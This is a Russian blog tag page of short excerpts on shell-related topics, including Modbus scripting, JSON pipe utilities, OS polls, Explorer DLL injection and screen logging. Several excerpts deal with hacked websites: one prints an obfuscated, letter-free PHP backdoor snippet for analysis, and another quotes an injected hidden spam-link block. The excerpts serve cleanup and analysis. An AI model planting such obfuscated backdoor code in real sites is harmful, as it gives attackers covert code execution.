Метка «shell»

Аннотация

Здесь описан способ реализации протокола Modbus-RTU при помощи shell-скрипта и обвязки в виде js-кода. Обсуждаемый метод может быть использован для реализации других потоковых протоколов, где нужно оперировать массивами байт в ограниченном окружении (роутер).

Modbus RTU на скриптах

Идея в трёх строчках

Для нетерпеливых показываю основную идею:

printf "x00x03x00x00x00x01x85xDB" > $tty
( dd if=$tty of=$ans count=256 2> /dev/null ) & /usr/bin/sleep $timeout; kill $!
echo "[`hexdump -ve '1/1 "%d,"' $ans | sed 's/(.*),/1/'`]"

Читать полностью »

Чем больше я пишу однострочники в шелле, тем больше я прихожу к двум важным идеям:

  1. Это очень мощное средство для «непосредственного программирования», то есть указания компьютеру, что делать.
  2. Большая часть однострочника посвящена grep/awk/cut/tr, которые каким-то образом выковыривают и приводят в человеческий вид вывод предыдущих утилит.

При том, что модель pipe'ов восхитительна, совершенно грязные хаки по отлову нужных полей в выводе во втором пункте («а вот тут мы можем выделить нужное нам по характерной запятой с помощью awk -F, '{print $2}'...) делают процедуру спорной по удовольствию, и уж точно нечитаемой.

Ещё одна серьёзная проблема: при том, что шелл даёт довольно много идиом из функционального программирования, в нём нет идиомы фильтрации списка по результату выполнения внешней программы. То есть „грепнуть“ список мы можем. А вот оставить в списке только те элементы, для которых какая-то программа вернула „успех“ — нет.

При этом есть враждебная и не очень хорошо написанная среда — powershell (винды). В которых взяли хорошую идею (пайпы передают не текст, а объекты), но испортили её двумя вещами:

  1. Неэргономичной консолью виндов (Shift-PgUp где, а? говорят, Ctrl-PdUp в новых версиях)
  2. предложением пойти и выучить .net для того, чтобы нормально с методами работать.
  3. Отсутствием под большинство операционных систем

Хочется иметь объекты в пайпе в тёплом ламповом линуксовом шелле. С hand-candy (мало печатать), eye-candy (приятно смотреть) и общей эргономичностью процесса использования. Ещё хочется иметь возможность сочетать „новый подход“ со старым, то есть обычным текстовым pipe'ом.

Идея

Надо написать набор инструментов, которые позволят в pipe-style оперировать с структурированными данными. Очевидным выбором является XML JSON.
Нам нужно:

  1. Утилиты, которые примут типовые форматы на вход и сконвертируют их в json.
  2. Утилиты, которые позволят в pipe'е манипулировать с json'ом.
  3. Утилиты, которые приведут json в „обычный“ формат.

В этом случае человек не будет видеть json на экране, но будет иметь возможность работать с ним.

Для затравки

(для понимания я буду писать длинные имена утилит, в реальной жизни это будут короткие сокращения, то есть не json-get-object, а что-то типа jgo или jg)

Выводит только файлы, для которых file сумел определить тип:
ls -la | ls2json | json-filter 'filename' --exec 'file {} >/dev/null' | json-print

Выкачивает с некоторого сайта токен для авторизации, выковыривает его из json'а и выставляет в переменные среды окружения, после чего скачивает список и отфильтровав по регэкспу поле „автор“ выкачивает все url'ы:
curl mysite/api.json | env `json-get-to-env X-AUTH-TOKEN`;curl -H X-AUTH-TOKEN $X-AUTH-TOKEN mysite/api/list.json | json-filter --field 'author' --rmatch 'R.{1,2}dald*' | json-get --field 'url' | xargs wget

Парсит вывод find -ls, сортирует по полю size, вырезает из массива элементы с 10 по 20, выводит их в csv.
find . -ls | ls2josn | json-sort --field 'size' | json-slice [10:20] | json2csv

Читать полностью »

Цель опросов — узнать «расклад сил» на домашних компьютерах и ноутбуках. Во всех опросах можно выбирать несколько вариантов.

Первый опрос про операционные системы — не основная цель, добавил его, чтобы не обижать тех, кто не использует Линукс. Он не покажет реальное соотношение, потому что этот пост размещен только в хабах «Linux» и «Операционные системы».
Предыдущие опросы:
Какой ОС вы пользуетесь дома? — 9 мая 2011
Небольшой опрос об операционных системах — 17 августа 2013

Предыдущие опросы про дистрибутивы:
Какие дистрибутивы свободных ОС Вы используете? — 13 января 2010
Какие дистрибутивы Linux вы используете на десктопах? — 27 ноября 2011

Предыдущие опросы про рабочие среды и оболочки:
Ваша домашняя «рабочая среда»? — 15 июня 2007
Каким рабочим столом преимущественно пользуетесь? — 17 июля 2009
Какой рабочей средой вы обычно пользуетесь? — 11 января 2012
Ваша основная среда рабочего стола в linux — 22 мая 2012

Важное замечание. Я не особый специалист в этих вопросах, поэтому если упустил что-то важное, не стесняйтесь написать личное сообщение, добавлю варианты.
Читать полностью »

В процессе лечения сайтов обнаруживается множество разновидностей хакерских шеллов и бэкдоров. Скрипты отличаются функционалом и способом обфускации исходного кода, но у всех есть общая черта — это неявное объявление переменных и функций, а также косвенный вызов функций.

Данный подход популярен среди разработчиков вредоносного кода, так как с одной стороны значительно усложняет анализ исходного кода, а с другой позволяет хранить код в текстовых данных. Например, часть вредоносного кода может загружаться со стороннего сайта, из базы данных, мета-данных jpeg/png/gif или передаваться в запросе к скрипту. Кроме того, часть кода, представленная в виде обычной текстовой строки, может быть легко зашифрована.

Кстати, эти же приемы используются веб-разработчиками и в мирных целях в скриптах проверки лицензионных ключей и регистрации веб-приложений, чтобы затруднить взлом программных продуктов.

Несмотря на все многообразие вредоносного кода, существует не так много вариантов объявления и косвенного вызова функций. Ниже представлены примеры различных техник скрытого вызова кода. Для простоты и наглядности пусть «вредоносный код» представлен вызовом

echo "Test"

который выводит слово «Test» на странице. Естественно, в реальных шеллах и бэкдорах имена переменных и функций, а также исполняемый код не хранятся в открытом виде и в большинстве случаев обфусцированы.

Читать полностью »

Постановка задачи

Клиент обратился с проблемой появления скрытых ссылок на страницах своего интернет-магазина, работающего на Phpshop Enterprise 3.6. Необходимо найти код, вставляющий ссылки, удалить его и установить защиту на сайт, чтобы подобное не повторилось в будущем.

Процесс

Спам-ссылки появлялись в коде страницы в виде скрытого блока

<font style='display:none;'> 
<style> 
ul.c98ee5 { 
padding: 0 !important; 
margin: 0 !important; 
font-size: 12px !important; 
background-color: #F7F7F7 !important; 
border: 1px solid #000000 !important; 
} 
.c98ee5 li { 
list-style: none !important; 
padding: 2px !important; 
text-align: left !important; 
} 
...

</style> 
<ul class="c98ee5"> 
<li> 
<span><a 
href="http://какой-то-сайт/otdelenie-pomoshchi-na-domu/">Врач на дом платно</a></span><br /> 
<span class="text">Материалы о беременности и родах, развитии 
детей и др. Подробно о клинике.</span><br /> 
<span class="host">какой-то-сайт</span>

Читать полностью »

Automator

В первом своем посте на данном ресурсе хотел бы описать простейший пример создания информера, с помощью колоссально удобной утилиты Automator, идущей в комплекте с Mac Os X.

Буквально на днях, при радикальном снижении уличной температуры в Москве у меня внезапно появилась задача: визуально отслеживать температуру в серверном помещении (а точнее в стойке), с определенным интервалом, т.к. кондиционер, обслуживающий помещение, отказался работать при T < -15 ºC.

Читать полностью »

Только что осознал, что автоматически пытаюсь отыскать среди множества установленных приложений в моем телефоне одно, необходимое в данный момент. И я понял, что не смотрю на называния приложений, а ищу глазами значок. Причем я помню, что иконка красного (зеленого, синего и т.д.) цвета.
Вот например на моем скрине видны иконки с доминирующими цветами:

Сортировка установленных в смартфоне (планшете) иконок приложений android по цвету (задумка)

Я точно помню, что G+, Unicredit, ivi, youtube — красные. Navitel, feedly — зеленые. И т.д.

Тут меня и осенило. А почему бы не подкинуть мысль разработчикам различных шеллов о возможности Читать полностью »

Расширяем контекстное меню кнопки «Пуск» в Windows 8.1

В этой статье мне хотелось бы рассказать о своем опыте расширения Windows Explorer, если конкретнее, контекстного меню, называемого «Power User Menu». Не скажу, что очень нуждаюсь в старом представлении меню кнопки «Пуск», но все таки хотелось бы иметь возможность быстрого и структурированного доступа к основным функциям необходимым в работе. Power User Menu можно вызвать двумя способами: 1. Щелкнуть правой кнопкой мыши на кнопке «Пуск». 2. Нажать комбинацию клавиш Windows Key + X. Корпорация Майкрософт предоставила возможность редактирования этого меню, однако эта возможность достаточно ограниченна и не позволяет создавать иерархию меню, пункты с пиктограммами, и поддерживает только ярлыки, да и то не всех типов. Для реализации описываемого функционала мы выполним dll инъекцию в процесс Windows Explorer, а так же осуществим перехват api вызовов управляющих работой контекстного меню. В качестве подопытной операционной системы будем использовать Windows 8.1 x64.
Читать полностью »

Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает ?:

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Читать полностью »

Задача:

Собирать информацию о действиях пользователя в консоли Linux, а именно вводимых им командах и выводимой на экран информации.

Предлагаемое решение:

screen по умолчанию для всех пользователей в Linux с логированием

Необходимые условия:

  1. Полное логирование всех пользователей в консоли, включая вывод информации процессами, чтобы можно было оценить почему пользователь принял то или иное решение
  2. Без возможности отключения логирования
  3. Раз уж выбрали screen — максимально используем его возможности (открытие новых окон, отключение по ^a + d, оставляя рабочие процессы запущенными и другие удобства)
  4. Максимальное удобство — не должно быть каких-либо несовместимостей с приложениями
  5. В случае использования пользователями, не знакомыми с screen — сделать работу максимально знакомой и близкой к обычной командной оболочке (shell)

Читать полностью »


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js